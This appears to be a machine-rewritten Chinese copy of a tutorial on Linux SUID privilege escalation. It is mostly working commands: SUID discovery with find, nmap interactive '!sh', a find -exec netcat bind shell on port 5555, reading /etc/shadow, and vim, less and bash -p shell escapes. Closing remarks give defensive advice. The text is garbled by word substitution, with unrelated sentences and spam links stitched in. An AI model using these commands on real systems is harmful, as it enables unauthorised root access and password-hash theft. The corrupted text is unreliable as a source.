针对SUID能够提权Root Shell的分析探讨

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时取得该文件具有者的权限。假如具有SUID权限,那么就能够应用系统中的二进制文件和工具来停止root提权。
已知的能够用来提权的Linux可执行文件有:
Ø Nmap
Ø Vim
Ø find
Ø Bash
Ø More
Ø Less
Ø Nano
Ø cp
下面的命令能够发现一切的系统中运转的SUID可执行文件
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
上面的一切二进制文件都能够在root权限下运转,由于他们的owner是root,并且他们的权限中含有s。s权限使普通运用者暂时具有该文件所属主/组的执行权限。
ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
Nmap
早版本的Nmap(2.02到5.21)有交互形式,允许用户执行shell命令。Nmap也是root权限下运转的二进制文件。
nmap -v
经过参数interactive能够进入交互形式
nmap –interactive
下面的命令能够对shell提权
nmap> !shsh-3.2# whoamiroot
Metasploit也有应用SUID Nmap停止提权攻击
exploit/unix/local/setuid_nmap
欧美跨国公司常用的EHS培训方法
Find
假如find以SUID权限运转,一切经过find执行的命令都会以root权限运转。
企业在进行数据恢复工作时,除了执行恢复操作的人员的技术水平外,还应该注重涉密数据的的保密工作,提高安全和自我防范意识。
touch pentestlab
find pentestlab -exec whoami \;
主流的Linux操作系统都装置了netcat,能够将该命令提权为root shell。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
衔接开放的端口能够停止root shell提权
netcat 192.168.1.189 5555
id
cat /etc/shadow
Vim
假如vim以SUID运转,就会继承root用户的权限,能够读取系统中一切的文件。
vim.tiny /etc/shadow

经过vim运转shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
下面的命令能够以root权限翻开bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Less
Less和more都能够执行提权的shell
less /etc/passwd
!/bin/sh
网安倡议
事实证明,经过配置不精确的SUID执行文件能够停止root shell提权。网安管理员应该评价一切的SUID二进制文件,判别能否需求以高权限的用户运转,特别应该关注能够执行代码和写数据的应用。
针对任何创新的技术应用,推荐的做法是先进行风险评估,然后提供风险消除或降低措施。而从多安全控制措施中,加强安全意识培训最为成效,因为最终的问题都是人员的问题。

猜您喜欢

意识形态安全还是网络安全意识
闲谈证券期货业信息安全
网络安全法宣传视频系列001《网络安全法》背景知识
精彩时刻:蜘蛛女王伊莉丝全场收人头
BEGOC OKSTATEPOSSE
信息安全意识微视频商业间谍防范教程